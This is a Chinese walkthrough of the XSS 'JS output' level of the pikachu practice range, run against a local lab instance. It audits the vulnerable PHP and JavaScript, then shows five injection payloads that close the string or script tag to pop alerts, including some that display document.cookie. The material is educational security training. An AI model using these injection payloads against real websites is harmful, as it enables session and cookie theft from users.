pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)

目录

一、源码分析

1、进入靶场

2、代码审计

二、渗透实战

1、根据提示输入tmac

2、XSS探测

3、注入Payload1

4、注入Payload2

5、注入Payload3

6、注入Payload4

7、注入Payload5


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到安全风险的真实原因,讲解XSS的原理并进行渗透实践,本文使用5种方法对XSS1第10关卡XSS之js输出进行渗透。

一、源码分析

1、进入靶场

打开pikachu靶场第09关XSS之js输出,这是一个输入框页面,完整URL地址如下所示。

复制代码
http://127.0.0.1/pikachu/vul/xss/xss_04.php

2、代码审计

右键查看源码,发现javascript代码,具体如下所示。

接下来查看xss_04.php源码内容,很明显此代码存在 XSS安全风险,核心原因在于直接将未经过滤和验证的 PHP 变量 jsvar 嵌入到 JavaScript 代码中。jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。对应的完整JavaScript代码注释后如下所示。

复制代码
<script>
    // 从 PHP 代码中获取 $jsvar 变量的值,并将其赋值给 JavaScript 变量 $ms
    // 这里是通过 PHP 的 echo 语句将 $jsvar 的值嵌入到 JavaScript 代码中
    $ms = '<?php echo $jsvar;?>';

    // 检查 $ms 变量的长度是否不为 0
    // 即判断 $ms 是否有实际的内容
    if ($ms.length != 0) {
        // 检查 $ms 变量的值是否等于 'tmac'
        if ($ms == 'tmac') {
            // 如果 $ms 的值等于 'tmac',使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
            $('#fromjs').text('tmac确实厉害,看那小眼神..');
        } else {
            // 如果 $ms 的值不等于 'tmac'
            // 注释掉的代码,原本想弹出一个包含 $ms 内容的警告框
            // alert($ms);

            // 使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'
            $('#fromjs').text('无论如何不要放弃心中所爱..');
        }
    }
</script>

如上代码中提到了jvar变量,相关定义如下图所示。如下所示使用htmlspecialchars函数且参数为ENT_QUOTES对输入参数进行了过滤处理,这说明没法用第08关卡的单引号进行XSS渗透了。

这段 PHP 代码的主要功能是处理用户通过 GET 请求提交的 message 参数。当用户提交表单(即 submit 参数存在)且 message 参数有值时,将 message 的值赋给 jsvar 变量。若 jsvar 的值为 tmac,则在页面上显示一张名为 tmac.jpeg 的图片。详细注释后的源码如下所示。

复制代码
<?php
// 初始化一个空字符串变量 $jsvar,用于存储后续要在 JavaScript 中使用的变量值
$jsvar = '';
// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html = '';

// 检查 $_GET 数组中是否存在名为 'submit' 的元素,并且是否存在名为 'message' 的元素且其值不为 null
// 即判断用户是否通过 GET 请求提交了 'submit' 参数,同时也提交了 'message' 参数且该参数有值
if (isset($_GET['submit']) && $_GET['message'] != null) {
    // 将用户通过 GET 请求提交的 'message' 参数的值赋给 $jsvar 变量
    $jsvar = $_GET['message'];

    // 检查 $jsvar 变量的值是否等于 'tmac'
    if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}
?>

综上,第10关的代码存在 XSS安全风险,原因在于直接将用户输入的内容_GET\['message'\]赋值给 jsvar 变量,且未对输入进行任何过滤和验证,接又将未经过滤和验证的 PHP 变量 jsvar 嵌入到 JavaScript 代码中。jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。

二、渗透实战

1、根据提示输入tmac

进入到pikachu靶场XSS关卡最后一关,根据点击提示获得的信息"输入被动态的生成到了javascript中,如何是好。输入tmac试试-_-",输入tmac,效果如下所示。

页面提示看那小眼神.."tmac确实厉害,看那小眼神..",就这是因为js代码种输入为tmac,故而fromjs元素被赋值为"tmac确实厉害,看那小眼神..",同时因为jvar为tmac,页面显示了图片tmac.jpeg,相关源码如下所示。

复制代码
if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
如果输入是tmac时, 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
如果输入不是tmac时,将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'

2、XSS探测

输入Payload语句<script>alert('ljn')</script>探测XSS安全风险,如下所示。

复制代码
<script>alert('ljn')</script>

输入payload后没有任何反应,右键源码,搜索关键字ljn,可知因为ms不是tmac所以输出"无论如何不要放弃心中所爱"。具体代码逻辑如下所示。

由于ms参数未有任何过滤,故而渗透的思路可以通过与上图绿色框中的<script>构造闭合,只要构造出一个js语句就好了。

3、注入Payload1

前提1:语句的开始与上图中绿色的**<script>** **构造闭合,如'</script>**即可闭合。

重点:接下来是xss恶意脚本,如**<script>alert('ljn')</script>**,注入语句如下所示。

复制代码
'</script><script>alert('ljn')</script>

右键源码-搜索关键字ljn,分析渗透成功的原因,Payload1如何通过闭合语句来进行渗透的。红色框中的闭合如下所示。

复制代码
<script>
    $ms=''</script>

绿色框内为恶意弹窗<script>alert('ljn')</script>,效果如下所示。

4、注入Payload2

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

复制代码
'</script><script> alert(document.cookie)</script>

右键查看源码,搜索关键字cookie,闭合构造如下,故而可以弹框成功。

5、注入Payload3

首先要用';闭合掉当前ms的赋值的语句,然后插入新js语句,然后再用//注释掉老语句遗留下来的';

复制代码
开头有<script>
结尾有</script>
只要中间包含xss恶意脚本,如弹框alert('ljn')
那么就变成了<script>alert('ljn')</script>

接下来我们尝试进行闭合,目前可变参数为ms='string';

前提1:语句的开始为包含';闭合掉ms赋值语句,如';,在 中间插入 xss恶意脚本,如alert('ljn')

前提 2 :语句的末尾为 // ,注释掉后 ms 赋值语句最后的 ';

本次Paylaod的效果为弹框"ljn",注入Payload设置为**';alert('ljn')//或者或者';alert('ljn');//**如下所示。

复制代码
';alert('ljn')//
';alert('ljn');//

右键源码,搜索关键字ljn,闭合构造的原因如下所示。

Payload中第一个';使得ms赋值函数声明结束,接下来的alert('ljn')就可以是一个新的语句,但是原本ms赋值语句的最后为单引号和分号,故而在他们之前还需要加上//注释掉,从而构造如下闭合语句。

复制代码
$ms='';alert('ljn')//';

其中 alert('ljn') <script> </script> 生成如下脚本,构成弹框

复制代码
<script>
alert('ljn')
</script>

6、注入Payload4

本次Paylaod的效果为弹框"1019",注入Payload如下所示。

复制代码
';alert(1019);//
';alert(1019)//

右键源码,搜索关键字1019,闭合构造如下,故而可以弹框成功

7、注入Payload5

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

复制代码
';alert(document.cookie);//
';alert(document.cookie)//
相关推荐
浩浩测试一下21 分钟前
Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )
网络·网络协议·tcp/ip·安全·网络安全·php
网安INF1 小时前
CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
java·web安全·网络安全·flink·漏洞
四川合睿达自动化控制工程有限公司1 小时前
大中型水闸安全监测管理系统建设方案
安全
赛卡1 小时前
汽车安全:功能安全FuSa、预期功能安全SOTIF与网络安全Cybersecurity 解析
人工智能·安全·网络安全·车载系统·自动驾驶·汽车
CatalyzeSec2 小时前
一些实用的chrome扩展0x01
安全·web安全·网络安全
leagsoft_10033 小时前
筑牢企业网管域安全防线,守护数字核心——联软网管域安全建设解决方案
网络·安全·网络安全
黑客笔记3 小时前
攻防世界-XCTF-Web安全最佳刷题路线
大数据·安全·web安全
独行soc7 小时前
2025年渗透测试面试题总结-腾讯[实习]玄武实验室-安全工程师(题目+回答)
linux·安全·web安全·面试·职场和发展·渗透测试·区块链
一ge科研小菜鸡7 小时前
构建云原生安全治理体系:挑战、策略与实践路径
安全·云原生
李子圆圆7 小时前
高压危险铁塔大字金属安全警示牌技术解析
安全